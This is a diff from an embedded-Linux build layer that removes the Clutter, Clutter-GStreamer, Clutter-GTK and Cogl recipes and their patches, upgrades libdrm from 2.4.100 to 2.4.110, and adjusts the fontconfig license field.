+++ /dev/null
@@ -1,143 +0,0 @@
-From 3a0404dfbc65c6a864e01d1200a48074e19d5def Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 2 Sep 2016 14:28:38 +0300
-Subject: [PATCH] Remove clutter.types as it is build configuration-specific.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- doc/reference/clutter.types | 122 --------------------------------------------
- 1 file changed, 122 deletions(-)
- delete mode 100644 doc/reference/clutter.types
-
-diff --git a/doc/reference/clutter.types b/doc/reference/clutter.types
-deleted file mode 100644
-index 0037acc..0000000
---- a/doc/reference/clutter.types
-+++ /dev/null
-@@ -1,122 +0,0 @@
--cally_actor_get_type
--cally_clone_get_type
--cally_group_get_type
--cally_rectangle_get_type
--cally_root_get_type
--cally_stage_get_type
--cally_text_get_type
--cally_texture_get_type
--cally_util_get_type
--clutter_action_get_type
--clutter_actor_box_get_type
--clutter_actor_get_type
--clutter_actor_meta_get_type
--clutter_align_constraint_get_type
--clutter_alpha_get_type
--clutter_animatable_get_type
--clutter_animation_get_type
--clutter_animator_get_type
--clutter_animator_key_get_type
--clutter_backend_get_type
--clutter_behaviour_depth_get_type
--clutter_behaviour_ellipse_get_type
--clutter_behaviour_get_type
--clutter_behaviour_opacity_get_type
--clutter_behaviour_path_get_type
--clutter_behaviour_rotate_get_type
--clutter_behaviour_scale_get_type
--clutter_bin_layout_get_type
--clutter_bind_constraint_get_type
--clutter_binding_pool_get_type
--clutter_blur_effect_get_type
--clutter_box_get_type
--clutter_box_layout_get_type
--clutter_brightness_contrast_effect_get_type
--clutter_cairo_texture_get_type
--clutter_canvas_get_type
--clutter_child_meta_get_type
--clutter_click_action_get_type
--clutter_clip_node_get_type
--clutter_clone_get_type
--clutter_color_get_type
--clutter_color_node_get_type
--clutter_colorize_effect_get_type
--clutter_constraint_get_type
--clutter_container_get_type
--clutter_content_get_type
--clutter_deform_effect_get_type
--clutter_desaturate_effect_get_type
--clutter_device_manager_get_type
--clutter_drag_action_get_type
--clutter_drop_action_get_type
--clutter_effect_get_type
--clutter_event_get_type
--clutter_event_sequence_get_type
--clutter_fixed_layout_get_type
--clutter_flow_layout_get_type
--clutter_fog_get_type
--clutter_geometry_get_type
--clutter_gesture_action_get_type
--clutter_glx_texture_pixmap_get_type
--clutter_grid_layout_get_type
--clutter_group_get_type
--clutter_image_get_type
--clutter_input_device_get_type
--clutter_interval_get_type
--clutter_keyframe_transition_get_type
--clutter_knot_get_type
--clutter_layout_manager_get_type
--clutter_layout_meta_get_type
--clutter_list_model_get_type
--clutter_margin_get_type
--clutter_media_get_type
--clutter_model_get_type
--clutter_model_iter_get_type
--clutter_offscreen_effect_get_type
--clutter_page_turn_effect_get_type
--clutter_paint_node_get_type
--clutter_paint_volume_get_type
--clutter_pan_action_get_type
--clutter_param_color_get_type
--clutter_param_fixed_get_type
--clutter_param_units_get_type
--clutter_path_constraint_get_type
--clutter_path_get_type
--clutter_path_node_get_type
--clutter_perspective_get_type
--clutter_pipeline_node_get_type
--clutter_point_get_type
--clutter_property_transition_get_type
--clutter_rect_get_type
--clutter_rectangle_get_type
--clutter_rotate_action_get_type
--clutter_score_get_type
--clutter_script_get_type
--clutter_scriptable_get_type
--clutter_scroll_actor_get_type
--clutter_settings_get_type
--clutter_shader_effect_get_type
--clutter_shader_float_get_type
--clutter_shader_get_type
--clutter_shader_int_get_type
--clutter_shader_matrix_get_type
--clutter_size_get_type
--clutter_snap_constraint_get_type
--clutter_stage_get_type
--clutter_stage_manager_get_type
--clutter_state_get_type
--clutter_state_key_get_type
--clutter_swipe_action_get_type
--clutter_table_layout_get_type
--clutter_tap_action_get_type
--clutter_text_buffer_get_type
--clutter_text_get_type
--clutter_text_node_get_type
--clutter_texture_get_type
--clutter_texture_node_get_type
--clutter_timeline_get_type
--clutter_transition_get_type
--clutter_transition_group_get_type
--clutter_units_get_type
--clutter_vertex_get_type
--clutter_zoom_action_get_type
---
-2.9.3
-
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch b/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch
deleted file mode 100644
index ce9ab3a248..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Install the examples to $libdir/clutter/.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Upstream-Status: Inappropriate
-
-Index: clutter-1.26.2/examples/Makefile.am
-===================================================================
---- clutter-1.26.2.orig/examples/Makefile.am
-+++ clutter-1.26.2/examples/Makefile.am
-@@ -33,7 +33,8 @@ AM_CPPFLAGS = \
- -I$(top_srcdir)/clutter \
- -I$(top_builddir)/clutter
-
--noinst_PROGRAMS = $(all_examples)
-+exampledir = $(pkglibdir)/examples
-+example_PROGRAMS = $(all_examples)
-
- EXTRA_DIST = redhand.png
-
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch b/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch
deleted file mode 100644
index f5c18c5828..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 668e1d14af13249384ab324c7d79ec4147f07e48 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Mon, 27 Apr 2015 20:12:33 +0300
-Subject: [PATCH] Run installed tests with tap output
-
-Configure output from installed-tests to be TAP compliant such that
-gnome-desktop-testing-runner properly interprets the results.
-
-Upstream-Status: Pending
-
-Signed-off-by: Tim Orling <TicoTimo@gmail.com>
----
- build/autotools/glib-tap.mk | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/build/autotools/glib-tap.mk b/build/autotools/glib-tap.mk
-index 7c5f82b..844e17e 100644
---- a/build/autotools/glib-tap.mk
-+++ b/build/autotools/glib-tap.mk
-@@ -127,7 +127,8 @@ installed_test_meta_DATA = $(installed_testcases:=.test)
- %.test: %$(EXEEXT) Makefile
- $(AM_V_GEN) (echo '[Test]' > $@.tmp; \
- echo 'Type=session' >> $@.tmp; \
-- echo 'Exec=env G_ENABLE_DIAGNOSTIC=0 CLUTTER_ENABLE_DIAGNOSTIC=0 $(installed_testdir)/$<' >> $@.tmp; \
-+ echo 'Exec=env G_ENABLE_DIAGNOSTIC=0 CLUTTER_ENABLE_DIAGNOSTIC=0 $(installed_testdir)/$< --tap' >> $@.tmp; \
-+ echo 'Output=TAP' >> $@.tmp; \
- mv $@.tmp $@)
-
- CLEANFILES += $(installed_test_meta_DATA)
---
-2.1.4
-
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/run-ptest b/meta/recipes-graphics/clutter/clutter-1.0/run-ptest
deleted file mode 100644
index 98877e5226..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#! /bin/sh
-
-gnome-desktop-testing-runner clutter
diff --git a/meta/recipes-graphics/clutter/clutter-1.0_1.26.2.bb b/meta/recipes-graphics/clutter/clutter-1.0_1.26.2.bb
deleted file mode 100644
index 48b050198a..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0_1.26.2.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require clutter-1.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI[archive.md5sum] = "a03482cbacf735eca8c996f210a21ee5"
-SRC_URI[archive.sha256sum] = "e7233314983055e9018f94f56882e29e7fc34d8d35de030789fdcd9b2d0e2e56"
-SRC_URI += "file://install-examples.patch \
- file://run-installed-tests-with-tap-output.patch \
- file://0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch \
- file://run-ptest"
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0.inc b/meta/recipes-graphics/clutter/clutter-gst-3.0.inc
deleted file mode 100644
index 4c877982b7..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "GStreamer integration library for Clutter"
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2+"
-
-inherit clutter distro_features_check upstream-version-is-even gobject-introspection
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-SRC_URI += "file://0001-Install-example-binary-needed-for-core-image-clutter.patch"
-
-DEPENDS = "gstreamer1.0-plugins-base gstreamer1.0-plugins-bad clutter-1.0 libgudev"
-RDEPENDS_${PN} += "gstreamer1.0-meta-base"
-PACKAGES =+ "${PN}-examples"
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/lib*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.la"
-FILES_${PN}-examples = "${bindir}/video-player ${bindir}/video-sink"
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch b/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch
deleted file mode 100644
index 0b26b990d7..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From d77c711277bf075ce0545c19b322f040c49c778a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 30 Apr 2015 12:19:13 +0300
-Subject: [PATCH] Install example binary needed for core-image-clutter
-
-Signed-off-by: Zhai Edwin <edwin.zhai@intel.com>
-
-Upstream-Status: Inappropriate [configuration]
-
-Imported from clutter-gst-1.8 package, git://git.openembedded.org/openembedded,
-commit ae28ee3f7a060b9e0d13154a84f2444a98490b5b, updated for clutter-gst 3.0
-
-Signed-off-by: Tomas Frydrych <tomas@sleepfive.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- examples/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/examples/Makefile.am b/examples/Makefile.am
-index bfbc1b5..09655e3 100644
---- a/examples/Makefile.am
-+++ b/examples/Makefile.am
-@@ -1,6 +1,6 @@
- NULL = #
-
--noinst_PROGRAMS = camera-player video-player video-sink video-sink-navigation video-content
-+bin_PROGRAMS = camera-player video-player video-sink video-sink-navigation video-content
-
- AM_CPPFLAGS = -I$(top_srcdir) \
- $(MAINTAINER_CFLAGS) \
---
-2.1.4
-
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb b/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb
deleted file mode 100644
index 35382453c2..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require clutter-gst-3.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://clutter-gst/clutter-gst.h;beginline=1;endline=24;md5=95baacba194e814c110ea3bdf25ddbf4"
-
-SRC_URI[archive.md5sum] = "2bf9d7ca146c9d71e86c45cd00e9a28e"
-SRC_URI[archive.sha256sum] = "fe69bd6c659d24ab30da3f091eb91cd1970026d431179b0724f13791e8ad9f9d"
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc b/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc
deleted file mode 100644
index 11826a6f0c..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Library for embedding a Clutter canvas in a GTK+ application"
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2+"
-
-CLUTTERBASEBUILDCLASS = "meson"
-inherit clutter distro_features_check upstream-version-is-even gobject-introspection gtk-doc
-
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-# depends on gtk+3
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-DEPENDS = "clutter-1.0 gtk+3"
-PACKAGES =+ "${PN}-examples"
-
-GTKDOC_MESON_OPTION = "enable_docs"
-
-GIR_MESON_OPTION = 'enable_gi'
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch b/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch
deleted file mode 100644
index e21c6fd903..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7233883c6bd4e80c0e91b29b5c76fe798023e9fe Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 11 Feb 2019 16:41:13 +0100
-Subject: [PATCH] Add a config variable for enabling/disabling introspection
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- clutter-gtk/meson.build | 2 +-
- meson_options.txt | 4 ++++
- 2 files changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/clutter-gtk/meson.build b/clutter-gtk/meson.build
-index 5d6847d..5d934b6 100644
---- a/clutter-gtk/meson.build
-+++ b/clutter-gtk/meson.build
-@@ -49,7 +49,7 @@ clutter_gtk_dep = declare_dependency(link_with: clutter_gtk,
- dependencies: [ mathlib_dep, clutter_dep, gtk_dep ],
- include_directories: include_directories('.'))
-
--if not meson.is_cross_build()
-+if get_option('enable_gi')
- gnome.generate_gir(clutter_gtk,
- sources: clutter_gtk_headers + clutter_gtk_sources,
- namespace: 'GtkClutter',
-diff --git a/meson_options.txt b/meson_options.txt
-index aaf59f1..b7e51c3 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -2,3 +2,7 @@ option('enable_docs',
- type: 'boolean',
- value: false,
- description: 'Enable generating the API reference (depends on GTK-Doc)')
-+option('enable_gi',
-+ type: 'boolean',
-+ value: false,
-+ description: 'Enable gobject introspection')
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb b/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb
deleted file mode 100644
index 53948c8944..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require clutter-gtk-1.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-SRC_URI += " file://0001-Add-a-config-variable-for-enabling-disabling-introsp.patch"
-SRC_URI[archive.md5sum] = "b363ac9878e2337be887b8ee9e1da00e"
-SRC_URI[archive.sha256sum] = "521493ec038973c77edcb8bc5eac23eed41645117894aaee7300b2487cb42b06"
diff --git a/meta/recipes-graphics/cogl/cogl-1.0.inc b/meta/recipes-graphics/cogl/cogl-1.0.inc
deleted file mode 100644
index 4436163168..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0.inc
+++ /dev/null
@@ -1,80 +0,0 @@
-SUMMARY = "Modern 3D graphics API with associated utility APIs"
-HOMEPAGE = "http://wiki.clutter-project.org/wiki/Cogl"
-LICENSE = "MIT"
-
-inherit clutter distro_features_check upstream-version-is-even gobject-introspection
-# cogl-1.0 needs opengl to build
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-DEPENDS = "glib-2.0 gdk-pixbuf"
-PACKAGES =+ "${PN}-examples \
- libcogl libcogl-gles2 libcogl-pango libcogl-path \
- "
-AUTOTOOLS_AUXDIR = "${S}/build"
-
-# Extra DEPENDS for PACKAGECONFIG
-EDEPENDS_GL = "virtual/libgl libdrm"
-EDEPENDS_GLES2 = "virtual/libgles2"
-EDEPENDS_KMS = "libdrm virtual/egl"
-EDEPENDS_EGL = "virtual/egl"
-EDEPENDS_X11 = "virtual/libx11 libxcomposite libxfixes libxi libxrandr"
-EDEPENDS_WAYLAND = "virtual/egl virtual/libgles2 wayland"
-
-# Extra RDEPENDS for PACKAGECONFIG
-# This has to be explictly listed, because cogl dlopens the backends
-ERDEPENDS_GL = "libgl"
-ERDEPENDS_GLES2 = "libgles2"
-
-# GLESv1 is rarely tested, so disable it
-EXTRA_OECONF += "--enable-examples-install \
- --enable-debug \
- --disable-gles1 \
- --disable-cairo \
- "
-DEBUG_OPTIMIZATION_append = " -Wno-error=maybe-uninitialized"
-
-# OpenGL/GLX
-PACKAGECONFIG[glx] = "--enable-gl --enable-glx,--disable-gl --disable-glx,${EDEPENDS_GL} ${EDEPENDS_X11},${ERDEPENDS_GL}"
-
-# GLESv2
-PACKAGECONFIG[gles2] = "--enable-gles2,--disable-gles2,${EDEPENDS_GLES2}, ${ERDEPENDS_GLES2}"
-
-# EGL backends
-PACKAGECONFIG[egl-kms] = "--enable-kms-egl-platform,--disable-kms-egl-platform,${EDEPENDS_KMS}"
-PACKAGECONFIG[egl-null] = "--enable-null-egl-platform,--disable-null-egl-platform"
-PACKAGECONFIG[egl-x11] = "--enable-xlib-egl-platform,--disable-xlib-egl-platform,${EDEPENDS_X11} ${EDEPENDS_EGL}"
-PACKAGECONFIG[egl-wayland] = "--enable-wayland-egl-platform,--disable-wayland-egl-platform,${EDEPENDS_WAYLAND}"
-
-# Wayland (server-side)
-PACKAGECONFIG[wayland-server] = "--enable-wayland-egl-server,--disable-wayland-egl-server,${EDEPENDS_WAYLAND}"
-
-# Support rendering text directly with Pango
-PACKAGECONFIG[cogl-pango] = "--enable-cogl-pango,--disable-cogl-pango,pango"
-
-# Respect the DISTRO_FEATURES to pull in GLX or Wayland as appropriate by
-# default.
-PACKAGECONFIG ??= "cogl-pango gles2 \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'egl-wayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx egl-x11', '', d)} \
- "
-
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/cogl/.libs"
-}
-
-FILES_${PN} = ""
-FILES_${PN}-examples = "${bindir}/* ${datadir}/cogl/examples-data/*"
-FILES_libcogl = "${libdir}/libcogl${SOLIBS} ${libdir}/girepository-1.0/Cogl-*.typelib"
-FILES_libcogl-gles2 = "${libdir}/libcogl-gles2${SOLIBS}"
-FILES_libcogl-pango = "${libdir}/libcogl-pango${SOLIBS} ${libdir}/girepository-1.0/CoglPango*.typelib"
-
-FILES_libcogl-path = "${libdir}/libcogl-path${SOLIBS}"
-
-# For backwards compatibility after Debian-renaming
-RPROVIDES_libcogl = "cogl-1.0"
-RCONFLICTS_libcogl = "cogl-1.0"
-RREPLACES_libcogl = "cogl-1.0"
-
-RDEPENDS_${PN}-dev = "libcogl"
-
-COMPATIBLE_HOST_armv4 = 'null'
diff --git a/meta/recipes-graphics/cogl/cogl-1.0_1.22.4.bb b/meta/recipes-graphics/cogl/cogl-1.0_1.22.4.bb
deleted file mode 100644
index 8e61c19f5d..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0_1.22.4.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cogl-1.0.inc
-
-SRC_URI[archive.md5sum] = "31755015a865c4af51ac84f6e53af8ab"
-SRC_URI[archive.sha256sum] = "5217bf94cbca3df63268a3b79d017725382b9e592b891d1e7dc6212590ce0de0"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=1b1a508d91d25ca607c83f92f3e31c84"
diff --git a/meta/recipes-graphics/drm/libdrm/musl-ioctl.patch b/meta/recipes-graphics/drm/libdrm/musl-ioctl.patch
deleted file mode 100644
index e3d6c5b853..0000000000
--- a/meta/recipes-graphics/drm/libdrm/musl-ioctl.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Upstream-Status: Submitted
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 46c0fd6c827a8cb4d04e067bf04fab579ac4712e Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 18 Jun 2018 15:07:03 +0100
-Subject: [PATCH] tests/nouveau/threaded: adapt ioctl signature
-
-POSIX says ioctl() has the signature (int, int, ...) but glibc has decided to
-use (int, unsigned long int, ...) instead.
-
-Use a #ifdef to adapt the replacement function as appropriate.
----
- tests/nouveau/threaded.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/tests/nouveau/threaded.c b/tests/nouveau/threaded.c
-index 3669bcd3..e1c27c01 100644
---- a/tests/nouveau/threaded.c
-+++ b/tests/nouveau/threaded.c
-@@ -36,7 +36,11 @@ static int failed;
-
- static int import_fd;
-
-+#ifdef __GLIBC__
- int ioctl(int fd, unsigned long request, ...)
-+#else
-+int ioctl(int fd, int request, ...)
-+#endif
- {
- va_list va;
- int ret;
---
-2.11.0
-
diff --git a/meta/recipes-graphics/drm/libdrm_2.4.100.bb b/meta/recipes-graphics/drm/libdrm_2.4.100.bb
deleted file mode 100644
index 4859425672..0000000000
--- a/meta/recipes-graphics/drm/libdrm_2.4.100.bb
+++ /dev/null
@@ -1,60 +0,0 @@
-SUMMARY = "Userspace interface to the kernel DRM services"
-DESCRIPTION = "The runtime library for accessing the kernel DRM services. DRM \
-stands for \"Direct Rendering Manager\", which is the kernel portion of the \
-\"Direct Rendering Infrastructure\" (DRI). DRI is required for many hardware \
-accelerated OpenGL drivers."
-HOMEPAGE = "http://dri.freedesktop.org"
-SECTION = "x11/base"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://xf86drm.c;beginline=9;endline=32;md5=c8a3b961af7667c530816761e949dc71"
-PROVIDES = "drm"
-DEPENDS = "libpthread-stubs"
-
-SRC_URI = "http://dri.freedesktop.org/libdrm/${BP}.tar.bz2 \
- file://musl-ioctl.patch"
-SRC_URI[md5sum] = "f47bc87e28198ba527e6b44ffdd62f65"
-SRC_URI[sha256sum] = "c77cc828186c9ceec3e56ae202b43ee99eb932b4a87255038a80e8a1060d0a5d"
-
-inherit meson pkgconfig manpages
-
-PACKAGECONFIG ??= "libkms intel radeon amdgpu nouveau vmwgfx omap freedreno vc4 etnaviv install-test-programs"
-PACKAGECONFIG[libkms] = "-Dlibkms=true,-Dlibkms=false"
-PACKAGECONFIG[intel] = "-Dintel=true,-Dintel=false,libpciaccess"
-PACKAGECONFIG[radeon] = "-Dradeon=true,-Dradeon=false"
-PACKAGECONFIG[amdgpu] = "-Damdgpu=true,-Damdgpu=false"
-PACKAGECONFIG[nouveau] = "-Dnouveau=true,-Dnouveau=false"
-PACKAGECONFIG[vmwgfx] = "-Dvmwgfx=true,-Dvmwgfx=false"
-PACKAGECONFIG[omap] = "-Domap=true,-Domap=false"
-PACKAGECONFIG[exynos] = "-Dexynos=true,-Dexynos=false"
-PACKAGECONFIG[freedreno] = "-Dfreedreno=true,-Dfreedreno=false"
-PACKAGECONFIG[tegra] = "-Dtegra=true,-Dtegra=false"
-PACKAGECONFIG[vc4] = "-Dvc4=true,-Dvc4=false"
-PACKAGECONFIG[etnaviv] = "-Detnaviv=true,-Detnaviv=false"
-PACKAGECONFIG[freedreno-kgsl] = "-Dfreedreno-kgsl=true,-Dfreedreno-kgsl=false"
-PACKAGECONFIG[valgrind] = "-Dvalgrind=true,-Dvalgrind=false,valgrind"
-PACKAGECONFIG[install-test-programs] = "-Dinstall-test-programs=true,-Dinstall-test-programs=false"
-PACKAGECONFIG[cairo-tests] = "-Dcairo-tests=true,-Dcairo-tests=false"
-PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
-PACKAGECONFIG[manpages] = "-Dman-pages=true,-Dman-pages=false,libxslt-native xmlto-native"
-
-ALLOW_EMPTY_${PN}-drivers = "1"
-PACKAGES =+ "${PN}-tests ${PN}-drivers ${PN}-radeon ${PN}-nouveau ${PN}-omap \
- ${PN}-intel ${PN}-exynos ${PN}-kms ${PN}-freedreno ${PN}-amdgpu \
- ${PN}-etnaviv"
-
-RRECOMMENDS_${PN}-drivers = "${PN}-radeon ${PN}-nouveau ${PN}-omap ${PN}-intel \
- ${PN}-exynos ${PN}-freedreno ${PN}-amdgpu \
- ${PN}-etnaviv"
-
-FILES_${PN}-tests = "${bindir}/*"
-FILES_${PN}-radeon = "${libdir}/libdrm_radeon.so.*"
-FILES_${PN}-nouveau = "${libdir}/libdrm_nouveau.so.*"
-FILES_${PN}-omap = "${libdir}/libdrm_omap.so.*"
-FILES_${PN}-intel = "${libdir}/libdrm_intel.so.*"
-FILES_${PN}-exynos = "${libdir}/libdrm_exynos.so.*"
-FILES_${PN}-kms = "${libdir}/libkms*.so.*"
-FILES_${PN}-freedreno = "${libdir}/libdrm_freedreno.so.*"
-FILES_${PN}-amdgpu = "${libdir}/libdrm_amdgpu.so.* ${datadir}/${PN}/amdgpu.ids"
-FILES_${PN}-etnaviv = "${libdir}/libdrm_etnaviv.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/drm/libdrm_2.4.110.bb b/meta/recipes-graphics/drm/libdrm_2.4.110.bb
new file mode 100644
index 0000000000..dd775939a5
--- /dev/null
+++ b/meta/recipes-graphics/drm/libdrm_2.4.110.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Userspace interface to the kernel DRM services"
+DESCRIPTION = "The runtime library for accessing the kernel DRM services. DRM \
+stands for \"Direct Rendering Manager\", which is the kernel portion of the \
+\"Direct Rendering Infrastructure\" (DRI). DRI is required for many hardware \
+accelerated OpenGL drivers."
+HOMEPAGE = "http://dri.freedesktop.org"
+SECTION = "x11/base"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://xf86drm.c;beginline=9;endline=32;md5=c8a3b961af7667c530816761e949dc71"
+PROVIDES = "drm"
+DEPENDS = "libpthread-stubs"
+
+SRC_URI = "http://dri.freedesktop.org/libdrm/${BP}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "eecee4c4b47ed6d6ce1a9be3d6d92102548ea35e442282216d47d05293cf9737"
+
+inherit meson pkgconfig manpages
+
+PACKAGECONFIG ??= "libkms intel radeon amdgpu nouveau vmwgfx omap freedreno vc4 etnaviv install-test-programs"
+PACKAGECONFIG[libkms] = "-Dlibkms=true,-Dlibkms=false"
+PACKAGECONFIG[intel] = "-Dintel=true,-Dintel=false,libpciaccess"
+PACKAGECONFIG[radeon] = "-Dradeon=true,-Dradeon=false"
+PACKAGECONFIG[amdgpu] = "-Damdgpu=true,-Damdgpu=false"
+PACKAGECONFIG[nouveau] = "-Dnouveau=true,-Dnouveau=false"
+PACKAGECONFIG[vmwgfx] = "-Dvmwgfx=true,-Dvmwgfx=false"
+PACKAGECONFIG[omap] = "-Domap=true,-Domap=false"
+PACKAGECONFIG[exynos] = "-Dexynos=true,-Dexynos=false"
+PACKAGECONFIG[freedreno] = "-Dfreedreno=true,-Dfreedreno=false"
+PACKAGECONFIG[tegra] = "-Dtegra=true,-Dtegra=false"
+PACKAGECONFIG[vc4] = "-Dvc4=true,-Dvc4=false"
+PACKAGECONFIG[etnaviv] = "-Detnaviv=true,-Detnaviv=false"
+PACKAGECONFIG[freedreno-kgsl] = "-Dfreedreno-kgsl=true,-Dfreedreno-kgsl=false"
+PACKAGECONFIG[valgrind] = "-Dvalgrind=true,-Dvalgrind=false,valgrind"
+PACKAGECONFIG[install-test-programs] = "-Dinstall-test-programs=true,-Dinstall-test-programs=false"
+PACKAGECONFIG[cairo-tests] = "-Dcairo-tests=true,-Dcairo-tests=false"
+PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
+PACKAGECONFIG[manpages] = "-Dman-pages=true,-Dman-pages=false,libxslt-native xmlto-native python3-docutils-native"
+
+ALLOW_EMPTY:${PN}-drivers = "1"
+PACKAGES =+ "${PN}-tests ${PN}-drivers ${PN}-radeon ${PN}-nouveau ${PN}-omap \
+ ${PN}-intel ${PN}-exynos ${PN}-kms ${PN}-freedreno ${PN}-amdgpu \
+ ${PN}-etnaviv"
+
+RRECOMMENDS:${PN}-drivers = "${PN}-radeon ${PN}-nouveau ${PN}-omap ${PN}-intel \
+ ${PN}-exynos ${PN}-freedreno ${PN}-amdgpu \
+ ${PN}-etnaviv"
+
+FILES:${PN}-tests = "${bindir}/*"
+FILES:${PN}-radeon = "${libdir}/libdrm_radeon.so.*"
+FILES:${PN}-nouveau = "${libdir}/libdrm_nouveau.so.*"
+FILES:${PN}-omap = "${libdir}/libdrm_omap.so.*"
+FILES:${PN}-intel = "${libdir}/libdrm_intel.so.*"
+FILES:${PN}-exynos = "${libdir}/libdrm_exynos.so.*"
+FILES:${PN}-kms = "${libdir}/libkms*.so.*"
+FILES:${PN}-freedreno = "${libdir}/libdrm_freedreno.so.*"
+FILES:${PN}-amdgpu = "${libdir}/libdrm_amdgpu.so.* ${datadir}/${PN}/amdgpu.ids"
+FILES:${PN}-etnaviv = "${libdir}/libdrm_etnaviv.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb b/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
index d0da419ce0..6dbfd32217 100644
--- a/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
+++ b/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
@@ -11,7 +11,7 @@ rasterize fonts."
HOMEPAGE = "http://www.fontconfig.org"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=fontconfig"
-LICENSE = "MIT-style & MIT & PD"
+LICENSE = "MIT & MIT & PD"
